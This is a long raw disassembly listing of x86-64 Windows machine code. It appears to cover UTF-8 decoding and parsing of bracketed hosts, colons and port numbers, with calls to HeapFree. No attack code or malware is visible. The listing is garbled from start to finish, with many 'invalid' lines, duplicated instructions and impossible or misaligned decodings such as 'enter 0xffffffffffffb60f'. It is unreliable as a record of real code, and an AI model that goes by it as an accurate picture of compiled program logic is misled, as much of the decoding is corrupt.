add byte [rdi], cl
test byte [rdi - 3], ch
invalid
movzx eax, byte [rdx]
movzx eax, al
mov dh, 0xc0
mov dh, 0xc0
test al, al
js 0x1400f8610
xchg ebp, eax
xchg ebp, eax
mov ecx, eax
shr ecx, 5
mov ecx, dword [r10 + rcx*4]
rol ecx, 0xe9
add eax, 0x8a0c8b41
bt ecx, eax
jb 0x1400f8610
sal dword [rdx - 0x79], 0xbd
add dword [rax], eax
add byte [rax], al
mov ebp, 1
mov ecx, 1
add byte [rax], al
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp r13, rcx
je 0x1400f86e0
int 0x74
cmp ecx, dword [rax - 0x77]
enter 0xffffffffffffb60f, 0xc
or al, byte [rcx + rcx*8 + 0xf441878]
leave
js case.0x140096f06.1438
invalid
invalid
mov rax, rcx
movzx ecx, byte [rdx + rcx]
test cl, cl
leave
leave
js case.0x140096f06.1438
movzx r8d, cl
mov dh, 0xc1
mov ecx, r8d
shr ecx, 5
mov r9d, dword [r10 + rcx*4]
lea rcx, [rax + 1]
bt r9d, r8d
jae 0x1400f86a0
add dword [rbp + 0xf], eax
movabs dword [0x820fc52949d873c1], eax
sub r13, rax
invalid
invalid
in eax, dx
sub r13, rax
sub ebp, eax
jb 0x1400f98be
adc dword [rax], eax
add byte [rax - 0x73], cl
sub al, 2
lea rbp, [rdx + rax]
mov rdi, r13
mov r13, rax
invalid
jmp 0x1400f8633
invalid
invalid
invalid
invalid
invalid
xor edi, edi
jmp 0x1400f8633
invalid
invalid
invalid
dec dword [rax - 0x77]
invalid
mov rcx, rbx
mov rbx, rdx
mov rdx, r12
mov r8, r13
call 0x1411f9fdf
invalid
call 0x1411f9fdf
adc byte [rcx], al
add byte [rax - 0x77], cl
fimul dword [rax - 0x75]
mov rdx, rbx
mov edx, ebx
mov rbx, qword [rsp + 0x90]
mov r12, qword [rbx + 0x10]
jmp 0x1400f8642
pushfq
and al, 0x90
add byte [rax], al
add byte [rbx + rcx*4 + 0x63], cl
adc cl, ch
invalid
mov rcx, qword [rsp + 0xa8]
mov rax, rcx
mov eax, ecx
mov eax, ecx
enter 0xffffffffffffc148, 0xffffffffffffffe8
and byte [rax - 0x75], cl
pushfq
and al, 0x90
add byte [rax], al
shr rax, 0x20
shr eax, 0x20
mov rbx, qword [rsp + 0x90]
jne 0x1400f895e
add byte [rdi], cl
test dword [0xc90f872c], esi
and al, 0x78
mov dword [rsp + 0x78], ecx
mov qword [rsp + 0x80], r15
mov dword [rsp + 0x80], edi
add cl, ch
fadd dword [rcx]
add byte [rax], al
jmp 0x1400f8912
mov eax, 0x2600
mov rcx, rdi
jmp 0x1400f8760
nop word cs:[rax + rax]
mov r8d, edx
cmp r8d, 0x110000
jne 0x1400f883c
add byte [rax], al
add byte [rcx + rdi - 0xf], cl
cmp rcx, r14
je 0x1400f8947
movzx r10d, byte [rcx]
movzx edx, r10b
adc dword [rcx + 0xf], eax
mov dh, 0xd2
test dl, dl
js 0x1400f8790
sar byte [rax + 0x1b], cl
inc rcx
cmp edx, 0xd
cli
or eax, 0x9f860f
add byte [rax], al
invalid
cli
or eax, 0x9f860f
add byte [rax], al
invalid
add bl, ch
int 0x66
nop word cs:[rax + rax]
jmp case.0x1400d8095.489
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp dl, 0xdf
fbstp tbyte [rsi + 0x49]
fbstp tbyte [rsi + 0x49]
movzx r9d, byte [rcx + 2]
shl r11d, 6
add al, byte [rcx - 0x3f]
jrcxz 0x1400f87b4
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x1400f8806
fld dword [rcx - 0x80]
cli
invalid
movzx edx, byte [rcx + 3]
and r8d, 7
mov dh, 0x51
add eax, dword [rcx - 0x7d]
loopne 0x1400f87ca
shl r8d, 0x12
shl r9d, 6
shl ecx, 6
invalid
and edx, 0x3f
or edx, r9d
or edx, r8d
cmp edx, 0x110000
je 0x1400f8947
add rcx, 4
cmp edx, 0xd
jbe 0x1400f8820
jmp case.0x1400d8095.489
add rcx, 2
shl r8d, 6
or r8d, r11d
mov edx, r8d
cmp edx, 0xd
jbe 0x1400f8820
invalid
or eax, 0x4ae91f76
invalid
jmp case.0x1400d8095.489
invalid
add rcx, 3
rol dword [rbx], 0x41
shl eax, 0xc
shl r8d, 0xc
or r9d, r8d
mov edx, r9d
cmp edx, 0xd
ja case.0x1400d8095.489
cli
or eax, 0xff33870f
invalid
nop dword [rax]
add byte [rcx - 0x48], al
add byte [rax], al
adc dword [rax], eax
mov r8d, 0x110000
bt eax, edx
jae case.0x1400d8095.489
cmp r8d, 0x110000
cmp eax, 0x110000
je 0x1400f8760
inc dword [rcx - 0x7d]
clc
invalid
cmp r8d, 0x3f
ja 0x1400f8933
in eax, dx
add byte [rax], al
invalid
in eax, dx
add byte [rax], al
add byte [rcx + rcx*4 - 0x40], al
mov eax, r8d
movabs rcx, 0x8000800800000000
add byte [rax], al
add byte [rax], cl
add byte [rax], 0x80
invalid
add byte [rax], al
or byte [rax + 0xf488000], al
or byte [rax + 0xf], 0xa3
ror dword [rdi], 0x83
invalid
add byte [rax], al
add dh, al
mov byte [rsp + 0x78], 0
invalid
cld
add byte [rax], al
bt rcx, rax
jae 0x1400f8933
mov byte [rsp + 0x78], 0
jmp 0x1400f8963
add byte [rax - 0x75], cl
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rax - 0x3f], cl
shr eax, 0x20
invalid
test ebp, esp
mov rax, qword [rsp + 0xa8]
shr rax, 0x20
shr eax, 0x20
jne 0x1400f895e
and byte [rdi], cl
test ebp, esp
add byte [rax], al
add byte [rax - 0x75], cl
lodsb al, byte [rsi]
mov rbp, qword [rsp + 0xa8]
and al, 0xa8
add byte [rax], al
add cl, ch
test al, 0
add byte [rax], al
jmp 0x1400f8906
add byte [rax], 0
add byte [rax - 0x75], cl
and al, 0x70
mov rax, qword [rsp + 0x70]
or al, byte [rsp + 0xb0]
mov al, 0
add byte [rax], al
test al, 1
sete al
test r11d, r11d
fisttp dword [rax - 0x75]
mov esp, 0x9824
invalid
je 0x1400f88cb
invalid
fisttp dword [rax - 0x75]
mov esp, 0x9824
add byte [rdi + riz + 0x4c], dh
invalid
mov r15, qword [rsp + 0x130]
invalid
mov r15, qword [rsp + 0x130]
jmp 0x1400f88dc
mov rax, qword cs:[rsp + 0x70]
or al, byte [rsp + 0xb0]
mov r15d, ebp
mov edi, ebp
jo case.0x1400f0806.222
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rcx - 0x77], al
mov edi, ebp
test al, 1
mov rdi, qword [rsp + 0x98]
jne 0x1400f88e3
add dword [rax - 0x75], ecx
mov esp, 0x9824
add byte [rbp + 0x1a], dh
jmp 0x1400f8906
mov r15, qword [rbx + 0x10]
mov rcx, r15
shr rcx, 0x20
jne 0x1400f895e
invalid
invalid
add byte [rax], al
invalid
test dword [rdx + 0x44000000], eax
mov ebp, edi
mov ebp, r15d
test al, al
jne 0x1400f8906
mov rsi, qword [rbx + 0x10]
cmp rsi, qword [rbx]
jne 0x1400f88f4
mov rcx, rbx
call fcn.1400ba350
pop rsp
sbb bh, ah
invalid
pop rsp
sbb bh, ah
dec dword [rax - 0x75]
or r14b, al
mov rax, qword [rbx + 8]
mov byte [rax + rsi], 0x40
add al, 0x30
inc rsi
add al, 0x30
inc rsi
mov qword [rbx + 0x10], rsi
mov ebp, r15d
mov dword [rsp + 0x78], ebp
mov qword [rsp + 0x80], rdi
mov esp, 0x8024
add byte [rax + 0x10], bh
mov eax, 0x10
mov qword [rsp + rax + 0x78], r14
mov rdx, qword [rsp + 0x80]
test rdx, rdx
jne 0x1400f897d
movzx ebp, byte [rsp + 0x78]
jmp case.0x1400dbb10.487
cmp byte [rsp + 0x1a0], 2
add byte [rdx], al
je 0x1400f8947
or al, byte [rcx - 0x7d]
clc
pop rsp
cmp r8d, 0x5c
je case.0x1400dd68f.214
mov rcx, qword [rsp + 0xa8]
mov rax, rcx
shr rax, 0x20
jne 0x1400f895e
mov dword [rsp + 0x78], ecx
jmp 0x1400f890a
mov byte [rsp + 0x78], 9
mov eax, 8
xor r14d, r14d
mov qword [rsp + rax + 0x78], r14
mov rdx, qword [rsp + 0x80]
add byte [rax], 0
add byte [rax - 0x7b], cl
invalid
je 0x1400f8929
add byte [rax], 0
add byte [rax - 0x7b], cl
sal byte [rsp + rbp*4 + 0x48], cl
mov rcx, qword [rbx + 0x10]
mov ecx, dword [rbx + 0x10]
mov rax, rcx
shr rax, 0x20
mov bpl, 9
jne case.0x1400dbb10.487
invalid
add byte [rax - 0x77], cl
mov word [rax + rdi*4], fs
add byte [rax], al
add byte [rbx - 0x7687dbbc], cl
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rbx + rcx*4 - 0x54], cl
and al, 0x88
mov byte [rax], al
add byte [rax], al
mov rax, r13
mov qword [rsp + 0xb8], rcx
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0xb0], eax
mov r13, qword [rsp + 0x88]
mov byte [rax], al
add byte [rax], al
mov byte [rax], al
add byte [rax], al
mov rax, r13
mov r14, rdx
sub rax, rdx
je 0x1400f8d97
xor r9d, r9d
lea r8, [0x140179068]
lea eax, [0x140179068]
lea eax, [0x140179068]
xor ecx, ecx
xor esi, esi
xor r15d, r15d
mov r10, rdx
jmp 0x1400f89ec
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rbp + 1], cl
fisttp word [rbp + 0x39]
invalid
add r15, r11
cmp r10, r13
je 0x1400f8b21
movzx edi, byte [r10]
movzx ebx, dil
test bl, bl
js 0x1400f8a20
add byte [rax], al
add byte [rcx + 0x63], cl
cmp al, 0xb8
movsxd rdi, dword [r8 + rdi*4]
add rdi, r8
jmp rdi
and ebx, 0x1f
movzx r14d, byte [r10 + 1]
and r14d, 0x3f
cmp bl, 0xdf
jbe 0x1400f8a7c
or ebx, esi
cmp dil, 0xf0
cmp dil, 0xf0
jb 0x1400f8aff
movzx edi, byte [r10 + 3]
add r10, 4
and r11d, 7
jrcxz 0x1400f8a62
jrcxz 0x1400f8a62
shl r11d, 0x12
shl ebx, 6
and edi, 0x3f
or edi, ebx
or edi, r11d
mov ebx, edi
mov r11d, 1
lea edi, [rbx - 9]
cmp edi, 0x54
push rsp
push rsp
jbe 0x1400f8a0d
jmp 0x1400f8a9c
fild dword [rcx - 0x45]
add dword [rax], eax
add byte [rax], al
lea edi, [rbx - 9]
cmp edi, 0x54
jbe 0x1400f8a0d
cmp ebx, 0x110000
je 0x1400f8b21
inc rsi
cmp ebx, 0x80
jb 0x1400f89e0
mov r11d, 2
cmp ebx, 0x800
jb 0x1400f89e0
invalid
cmp ebx, 0x10000
mov r11d, 4
sbb r11, 0
jmp 0x1400f89e0
inc esi
jmp 0x1400f89e0
add r10, 3
shl r11d, 0xc
or ebx, r11d
or ebx, ebx
mov r11d, 1
lea edi, [rbx - 9]
cmp edi, 0x54
jbe 0x1400f8a0d
jmp 0x1400f8a9c
test cl, 1
jne 0x1400f8c36
add byte [rax], al
mov r14, rdx
test rsi, rsi
je 0x1400f8d61
mov ecx, 0x2600
mov r14, rdx
jmp 0x1400f8b50
mov r9d, r8d
cmp r9d, 0x110000
cmp ecx, 0x110000
jne 0x1400f8c28
cmp r14, r13
je 0x1400f8d5e
retf
cmp r8b, 0xdf
jbe case.0x1400dd68f.250
movzx r10d, byte [r14 + 2]
shl edi, 6
and r10d, 0x3f
or r10d, edi
cmp r11b, 0xf0
jb 0x1400f8c0f
movzx r8d, byte [r14 + 3]
add r14, 4
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
or eax, ecx
or eax, ecx
cmp r8d, 0x110000
jne 0x1400f8bf0
jmp 0x1400f8d61
add r14, 2
shl r9d, 6
or r9d, edi
mov r8d, r9d
nop word cs:[rax + rax]
cmp r8d, 0xd
ja 0x1400f8b40
invalid
mov r9d, 0x110000
bt ecx, r8d
jb 0x1400f8b43
jmp 0x1400f8b40
add r14, 3
shl r9d, 0xc
or r10d, r9d
mov r8d, r10d
cmp r8d, 0xd
jbe 0x1400f8bfa
jmp 0x1400f8b40
dec rsi
jne 0x1400f8b50
mov qword [rsp + 0xd0], 0
mov qword [rsp + 0xd8], 1
mov dword [rsp + 0xd8], 1
mov dword [rsp + 0xd8], 1
mov qword [rsp + 0xe0], 0
test rsi, rsi
je 0x1400f8dbb
lea r14, [rsp + 0xd0]
mov ebx, 0x2600
dec rsi
jmp 0x1400f8c8d
mov eax, ecx
cmp eax, 0x110000
jne 0x1400f8d43
cmp rdx, r13
je 0x1400f8db8
movzx r9d, byte [rdx]
movzx ecx, r9b
test cl, cl
js 0x1400f8cb0
inc rdx
cmp ecx, 0xd
jbe 0x1400f8d19
jmp 0x1400f8c80
mov eax, ecx
and eax, 0x1f
movzx r10d, byte [rdx + 1]
and r10d, 0x3f
cmp cl, 0xdf
jbe 0x1400f8d00
movzx r8d, byte [rdx + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x1400f8d2c
movzx ecx, byte [rdx + 3]
add rdx, 4
and eax, 7
shl eax, 0x12
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
or ecx, eax
cmp ecx, 0x110000
jne 0x1400f8d10
jmp 0x1400f8dbb
add rdx, 2
shl eax, 6
or eax, r10d
mov ecx, eax
nop dword [rax]
cmp ecx, 0xd
ja 0x1400f8c80
mov eax, 0x110000
bt ebx, ecx
jb 0x1400f8c82
jmp 0x1400f8c80
add rdx, 3
shl eax, 0xc
or r8d, eax
mov ecx, r8d
cmp ecx, 0xd
jbe 0x1400f8d19
jmp 0x1400f8c80
mov rcx, r14
mov rdi, rdx
mov edx, eax
call fcn.1400f6a00
mov rdx, rdi
test rsi, rsi
jne 0x1400f8c70
jmp 0x1400f8dbb
test r15, r15
je 0x1400f8d97
cmp r15, rax
jae 0x1400f8e12
cmp byte [rdx + r15], 0xbf
jg 0x1400f8e18
lea rcx, [0x140172488]
mov qword [rsp + 0x20], rcx
mov rcx, rdx
mov rdx, rax
xor r8d, r8d
mov r9, r15
call fcn.1401087e0
xor esi, esi
movzx eax, byte [rsp + 0x1a0]
cmp al, 1
je 0x1400f9000
movzx eax, al
cmp eax, 2
jne 0x1400f8e02
xor esi, esi
jmp 0x1400f8edf
mov rdx, r13
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x70], rax
mov rdi, qword [rsp + 0xd8]
mov r15, qword [rsp + 0xe0]
and al, 0xe0
add byte [rax], al
add byte [rax - 0x4a], al
add dword [rdi], ecx
mov dh, 0x84
and al, 0xa0
add dword [rax], eax
add byte [rcx + rax], bh
and al, 0xe0
add byte [rax], al
add byte [rax - 0x4a], al
add dword [rdi], ecx
mov dh, 0x84
and al, 0xa0
add dword [rax], eax
add byte [rcx + rax], bh
jne 0x1400f8e0a
test r15, r15
jne 0x1400f8e0a
xor ebx, ebx
movabs r15, 0x8000000000000002
mov rax, qword [rsp + 0x70]
jmp 0x1400f8fd5
xor r15d, r15d
jmp 0x1400f8e99
mov r14, rdx
mov rdx, rdi
jmp 0x1400f8e26
jne 0x1400f8d7a
xor esi, esi
movzx eax, byte [rsp + 0x1a0]
cmp al, 1
je 0x1400f8e99
cmp al, 2
jne 0x1400f8e99
test r15, r15
je 0x1400f8edf
cmp byte [rdx], 0x5b
jne 0x1400f8ee2
mov bl, 4
cmp byte [rdx + r15 - 1], 0x5d
mov rax, qword [rsp + 0x70]
jne 0x1400f8fc6
mov r9, r15
dec r9
je 0x1400f9976
cmp byte [rdx + 1], 0xbf
jle 0x1400f9996
inc rdx
add r15, 0xfffffffffffffffe
lea rcx, [rsp + 0xd0]
mov r8, r15
call fcn.1400f6370
cmp byte [rsp + 0xd0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
je 0x1400f96ef
movabs r15, 0x8000000000000002
jmp 0x1400f9719
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax + 0x880e9], al
add byte [rax - 0x73], cl
mov word [rax + rdx*8], fs
add byte [rax], al
add byte [rbp - 0x77], cl
clc
lea rcx, [rsp + 0xd0]
mov r8, r15
call fcn.1400f5710
mov r12, qword [rsp + 0xd0]
movabs r15, 0x8000000000000002
movzx ebx, byte [rsp + 0xd8]
cmp r12, r15
jne 0x1400f9007
mov rax, qword [rsp + 0x70]
test sil, sil
jne 0x1400f8fd5
jmp 0x1400f8fec
xor r15d, r15d
lea rax, [rdx + r15]
lea rcx, [0x1401791bc]
mov r8, rdx
cmp r8, rax
je 0x1400f95f3
movzx ebx, byte [r8]
movzx r9d, bl
test r9b, r9b
js 0x1400f8f15
retf 0x8341
invalid
add rax, qword [rcx - 0x7d]
loop 0x1400f8f51
shl r10d, 0x12
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
or r9d, r10d
cmp r9d, 0x110000
mov rdi, r12
je 0x1400f95f3
invalid
add r8, 4
cmp r9d, 0x7c
jbe 0x1400f8fb2
jmp 0x1400f8ef0
cmp ecx, 0x7c
jbe 0x1400f8fb2
jmp 0x1400f8ef0
mov r9d, r9d
movsxd r9, dword [rcx + r9*4]
add r9, rcx
jmp r9
mov rax, qword [rsp + 0x70]
movabs r15, 0x8000000000000002
test sil, sil
invalid
je 0x1400f8fec
div byte [rdi + rdx + 0x48]
test eax, eax
test rax, rax
je 0x1400f8fec
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
movabs rax, 0x8000000000000002
mov r12, r15
mov esi, ebx
cmp r15, rax
jne 0x1400f9046
mov ebp, esi
jmp case.0x1400dbb10.487
mov rax, qword [rsp + 0xd9]
mov rcx, qword [rsp + 0xe0]
mov qword [rsp + 0x11f], rcx
mov qword [rsp + 0x118], rax
test sil, sil
test dh, dh
je 0x1400f9046
cmp qword [rsp + 0x70], 0
je 0x1400f9046
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rax - 0x75], cl
test byte [rax + rbx], ah
add dword [rax], eax
add byte [rax - 0x75], cl
mov word [rdi + rbx], fs
add dword [rax], eax
add byte [rax - 0x77], cl
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rcx + rax*4], ah
add byte [rax], al
add byte [rcx + rcx*4 + 0x64], cl
and al, 0x78
mov rax, qword [rsp + 0x118]
mov rcx, qword [rsp + 0x11f]
mov qword [rsp + 0x88], rcx
mov qword [rsp + 0x81], rax
mov qword [rsp + 0x78], r12
mov byte [rsp + 0x80], bl
lea rax, [rsp + 0x78]
mov qword [rsp + 0xc0], rax
lea rax, [0x1400fee30]
stosb byte [rdi], al
pop rbp
add byte [rax], al
mov qword [rsp + 0xc8], rax
lea rax, [0x140172b18]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 1
mov qword [rsp + 0xf0], 0
lea r12, [rsp + 0xc0]
mov qword [rsp + 0xe0], r12
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbp*8], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x78c60
add byte [rax - 0x39], cl
test byte [rax + rbp*8], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x78c60
lea r8, [rsp + 0xd0]
mov rsi, qword [rsp + 0x90]
mov rcx, rsi
call fcn.140013bb0
test al, al
jne 0x1400f994a
mov rdi, qword [rsi + 0x10]
mov rax, rdi
shr rax, 0x20
jne 0x1400f93af
mov rsi, qword [rsp + 0x78]
mov r15, qword [rsp + 0x88]
movabs r10, 0x8000000000000002
add byte [rax + 0x4cf3894c], al
cmp esi, edx
add byte [rax + 0x4cf3894c], al
cmp esi, edx
jl 0x1400f91bb
mov rbx, r14
test r15, r15
jne 0x1400f91bb
add byte [rax], al
invalid
invalid
add al, ch
jl 0x1400f9150
invalid
mov ecx, 0x110000
mov edx, 0x2600
bt edx, eax
jae 0x1400f924f
cmp ecx, 0x110000
jne 0x1400f925d
cmp rbx, r13
je 0x1400f93ef
rol dword [rbx + 0xf441fe1], 0xb6
add qword [r9 - 0x7d], rax
loope 0x1400f921d
cmp al, 0xdf
jbe 0x1400f9224
movzx edx, byte [rbx + 2]
shl r9d, 6
loope 0x1400f91f0
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x1400f923b
loope 0x1400f91f0
movzx eax, byte [rbx + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and eax, 0x3f
or eax, edx
or eax, ecx
cmp eax, 0x110000
je 0x1400f93ef
add rbx, 4
cmp eax, 0xd
jbe 0x1400f919c
xchg byte [rdx - 1], bh
invalid
jmp 0x1400f924f
add rbx, 2
shl ecx, 6
or ecx, r9d
mov eax, ecx
cmp eax, 0xd
jbe 0x1400f919c
invalid
invalid
invalid
invalid
jmp 0x1400f924f
add rbx, 3
shl ecx, 0xc
or edx, ecx
mov eax, edx
cmp eax, 0xd
jbe 0x1400f919c
mov ecx, eax
cmp ecx, 0x110000
je 0x1400f91bb
mov qword [rsp + 0xa0], r15
cmp ecx, 0x3a
jne 0x1400f93f7
mov r15, rdi
mov rax, qword [rsp + 0x90]
add byte [rax], al
add byte [rdi], cl
mov dh, 0x48
xor eax, eax
add byte [rax], al
add byte [rdi], cl
mov dh, 0x48
xor eax, eax
mov qword [rsp + 0x70], rax
mov edx, 0x2600
xor eax, eax
mov r8, rbx
jmp 0x1400f92ba
inc r8
cmp r9d, 0xd
ja 0x1400f9366
mov r10d, 0x110000
bt edx, r9d
jae 0x1400f9366
cmp r10d, 0x110000
jne 0x1400f9376
cmp r8, r13
je 0x1400f978d
movzx edi, byte [r8]
movzx r9d, dil
test r9b, r9b
jns 0x1400f9290
mov r10d, r9d
and r10d, 0x1f
movzx r14d, byte [r8 + 1]
and r14d, 0x3f
cmp r9b, 0xdf
jbe 0x1400f9334
movzx r11d, byte [r8 + 2]
shl r14d, 6
pop rax
add al, byte [rcx - 0x3f]
out 6, al
and r11d, 0x3f
or r11d, r14d
cmp dil, 0xf0
jb 0x1400f934e
movzx r9d, byte [r8 + 3]
and r10d, 7
shl r10d, 0x12
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
or r9d, r10d
cmp r9d, 0x110000
je 0x1400f978d
add r8, 4
cmp r9d, 0xd
jbe 0x1400f929d
jmp 0x1400f9366
add r8, 2
shl r10d, 6
or r10d, r14d
mov r9d, r10d
cmp r9d, 0xd
jbe 0x1400f929d
jmp 0x1400f9366
add r8, 3
shl r10d, 0xc
or r11d, r10d
mov r9d, r11d
cmp r9d, 0xd
jbe 0x1400f929d
mov r10d, r9d
cmp r10d, 0x110000
je 0x1400f92ba
lea r9d, [r10 - 0x30]
cmp r9d, 0xa
jae 0x1400f9767
mov rax, qword [rsp + 0x70]
lea eax, [rax + rax*4]
lea r10d, [r9 + rax*2]
mov al, 1
mov rbx, r8
mov r9, r10
mov qword [rsp + 0x70], r10
cmp r10d, 0xffff
jbe 0x1400f92ba
mov bpl, 2
jmp 0x1400f93b7
mov bpl, 9
mov rsi, qword [rsp + 0x78]
movabs rax, 0x8000000000000002
cmp rsi, rax
jl case.0x1400dbb10.487
test rsi, rsi
je case.0x1400dbb10.487
mov qword [rsp + 0xa0], r15
xor edx, edx
mov qword [rsp + 0x70], rax
mov r15, qword [rsp + 0x80]
movabs rcx, 0x8000000000000001
add rcx, rsi
xor eax, eax
cmp rsi, r10
cmovl rax, rcx
test rax, rax
je 0x1400f942b
cmp rax, 1
jne 0x1400f9439
mov bl, 2
jmp 0x1400f9442
cmp qword [rsp + 0xa0], 0
setne bl
jmp 0x1400f9442
mov r12, r15
shr r12, 0x20
mov bl, 3
cmp rsi, r10
jl 0x1400f9462
test rsi, rsi
je 0x1400f9462
mov rcx, qword [0x140182260]
mov esi, edx
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov edx, esi
mov rax, qword [rsp + 0xb8]
cmp qword [rsp + 0xa8], rax
je 0x1400f947f
test bl, bl
jne 0x1400f947f
xor ebp, ebp
jmp case.0x1400dbb10.487
mov rax, qword [rsp + 0x90]
mov rsi, qword [rax + 0x10]
mov rax, rsi
shr rax, 0x20
jne case.0x1400dbb10.487
shl r12, 0x20
mov qword [rsp + 0x98], rdi
mov edi, r15d
or rdi, r12
mov byte [rsp + 0xd0], 1
mov qword [rsp + 0x20], r13
lea r8, [rsp + 0xd0]
mov r15, qword [rsp + 0x90]
mov rcx, r15
movzx ebp, byte [rsp + 0x1a0]
mov r12d, edx
mov edx, ebp
mov r9, r14
call fcn.1400ff630
mov rcx, qword [r15 + 0x40]
mov qword [rsp + 0x110], rcx
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movups xmm3, xmmword [r15 + 0x30]
movaps xmmword [rsp + 0x100], xmm3
movaps xmmword [rsp + 0xf0], xmm2
movaps xmmword [rsp + 0xe0], xmm1
movaps xmmword [rsp + 0xd0], xmm0
mov byte [rsp + 0x78], bl
mov rcx, qword [rsp + 0xa0]
mov qword [rsp + 0x81], rcx
mov qword [rsp + 0x79], rdi
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x50], esi
mov rax, qword [rsp + 0x70]
mov word [rsp + 0x48], ax
mov word [rsp + 0x40], r12w
lea rax, [rsp + 0x78]
and al, 0x78
and al, 0x78
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x98]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0xb8]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0xb0]
mov dword [rsp + 0x20], eax
lea rdx, [rsp + 0xd0]
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsp + 0x128]
mov r8d, ebp
mov r9d, dword [rsp + 0x1a8]
call fcn.1400fae70
jmp 0x1400f95de
mov rcx, qword [rsp + 0x128]
mov byte [rcx + 8], bpl
movabs rax, 0x8000000000000000
mov qword [rcx], rax
mov rax, qword [rsp + 0x90]
and al, 0x90
add byte [rax], al
add byte [rax - 0x7d], cl
cmp byte [rax], al
and al, 0x90
add byte [rax], al
add byte [rax - 0x7d], cl
cmp byte [rax], al
je 0x1400f95de
mov r8, qword [rax + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add dword [rax], eax
add dword [rax], eax
nop
add rsp, 0x138
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x78], 0
mov dword [rsp + 0x78], 0
mov qword [rsp + 0x80], 1
mov qword [rsp + 0x88], 0
lea rbx, [0x140172180]
jmp 0x1400f964f
mov r12, rdx
inc r12
dec r15
dec edi
lea rdx, [rax + rax*2]
lea rax, [0x14013c085]
add rdx, rax
mov r8d, 3
lea rcx, [rsp + 0x78]
and al, 0x78
and al, 0x78
call fcn.1400f6970
mov rdx, r12
test al, al
jne 0x1400f991e
test r15, r15
je 0x1400f96c0
movzx eax, byte [rdx]
movzx eax, al
test al, al
js 0x1400f961d
mov ecx, eax
shr ecx, 5
mov ecx, dword [rbx + rcx*4]
bt ecx, eax
jb 0x1400f961d
mov r15, qword [rsp + 0x78]
movzx ebx, byte [rsp + 0x80]
mov rax, qword [rsp + 0x81]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0xc7], rax
jmp 0x1400f9721
mov rax, qword [rsp + 0xd2]
mov rcx, qword [rsp + 0xd9]
mov qword [rsp + 0xc7], rcx
mov qword [rsp + 0xc0], rax
movabs r15, 0x8000000000000001
add byte [rax], al
add byte [rcx - 0x41], cl
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax + 0x249cb60f], al
rol dword [rax], 1
add byte [rax], al
movzx ebx, byte [rsp + 0xd1]
movabs rax, 0x8000000000000002
cmp r15, rax
je 0x1400f8fc1
mov rax, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xc7]
mov qword [rsp + 0x11f], rcx
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x70]
test sil, sil
jne 0x1400f8fd5
jmp 0x1400f8fec
test cl, cl
jne 0x1400f978d
add r10d, 0xffffffdd
cmp r10d, 0x39
ja 0x1400f93aa
xchg dword [rcx], esi
cld
invalid
movabs rcx, 0x200000010001001
bt rcx, r10
jae 0x1400f93aa
test al, 1
je 0x1400f97d1
invalid
mov edx, dword [rsp + 0x1a8]
mov edx, dword [rsp + 0x1a8]
mov r9d, edx
mov rax, qword [rsp + 0x90]
mov rcx, qword [rax + 8]
test edx, edx
mov rdi, r15
je 0x1400f97ea
cmp rdi, r9
jbe 0x1400f97e8
cmp byte [rcx + r9], 0xbf
jg 0x1400f97ea
lea rax, [0x140172470]
mov qword [rsp + 0x20], rax
add byte [rax - 0x77], cl
and al, 0x20
mov rdx, rdi
xor r8d, r8d
call fcn.1401087e0
xor edx, edx
mov r14, rbx
mov rdi, r15
movabs r10, 0x8000000000000002
jmp 0x1400f93fe
jne 0x1400f97ba
mov rdx, r9
call fcn.1400f7f10
test ax, ax
mov rax, qword [rsp + 0x70]
je 0x1400f9808
cmp dx, ax
jne 0x1400f9808
xor edx, edx
jmp 0x1400f98a0
mov word [rsp + 0x118], ax
lea rax, [rsp + 0x118]
mov qword [rsp + 0xc0], rax
lea rax, [0x1400163d0]
mov qword [rsp + 0xc8], rax
lea rax, [0x140172448]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 1
